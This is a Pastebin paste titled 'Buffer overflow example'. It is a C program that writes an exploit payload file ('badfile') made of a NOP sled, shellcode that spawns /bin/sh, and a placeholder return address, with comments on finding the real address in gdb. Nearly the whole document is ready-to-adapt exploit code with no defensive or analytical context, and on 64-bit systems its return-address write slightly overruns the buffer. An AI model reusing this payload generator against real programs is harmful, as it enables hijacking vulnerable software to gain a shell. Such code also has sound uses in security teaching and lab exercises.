Advertisement
xosski

Buffer overflow example

Dec 13th, 2024
10
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5.  
  6. #define NOP_SIZE 82 // Size of the NOP sled
  7. #define NOP 0x90
  8. #define SHELLCODE_SIZE 23 // Length of shellcode
  9. #define RET_SIZE 4 // Size of return address (4 bytes)
  10. #define TARGET_FILE "badfile"
  11.  
  12. // Shellcode to spawn a shell (/bin/sh)
  13. unsigned char shellcode[] =
  14. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
  15. "\x53\x89\xe1\xb0\x0b\xcd\x80";
  16.  
  17. void create_badfile(char *filename, long return_address) {
  18. int total_size = NOP_SIZE + SHELLCODE_SIZE + RET_SIZE; // Total buffer size
  19. long *ret_addr;
  20. FILE *badfile;
  21. char buffer[total_size]; // Combined buffer
  22.  
  23. // Initialize the entire buffer with NOP sled
  24. memset(buffer, NOP, NOP_SIZE);
  25.  
  26. // Copy the shellcode into the buffer right after the NOP sled
  27. memcpy(buffer + NOP_SIZE, shellcode, sizeof(shellcode));
  28.  
  29. // Place the return address at the end of the buffer
  30. ret_addr = (long *)(buffer + NOP_SIZE + SHELLCODE_SIZE);
  31. *ret_addr = return_address;
  32.  
  33. // Write the buffer to the target file
  34. badfile = fopen(filename, "w");
  35. if (badfile == NULL) {
  36. perror("Error opening target file");
  37. exit(EXIT_FAILURE);
  38. }
  39.  
  40. if (fwrite(buffer, total_size, 1, badfile) != 1) {
  41. perror("Error writing to target file");
  42. fclose(badfile);
  43. exit(EXIT_FAILURE);
  44. }
  45.  
  46. fclose(badfile);
  47. printf("Exploit file written successfully: %s\n", filename);
  48. }
  49.  
  50. long find_return_address() {
  51. // In a real-world scenario, this would involve techniques like:
  52. // - Using a debugger (gdb) to identify the return address.
  53. // - Using pattern matching tools like cyclic patterns to identify buffer overflow locations.
  54. //
  55. // For now, we simulate it with a hardcoded address. Adjust based on your environment.
  56.  
  57. long ret_address = 0xdeadbeef; // Placeholder return address (to be discovered dynamically)
  58. return ret_address;
  59. }
  60.  
  61. int main() {
  62. long return_address;
  63.  
  64. // Find the correct return address dynamically (can be done using gdb, or other debugging tools)
  65. return_address = find_return_address();
  66.  
  67. // Create the badfile with the calculated return address
  68. create_badfile(TARGET_FILE, return_address);
  69.  
  70. return 0;
  71. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement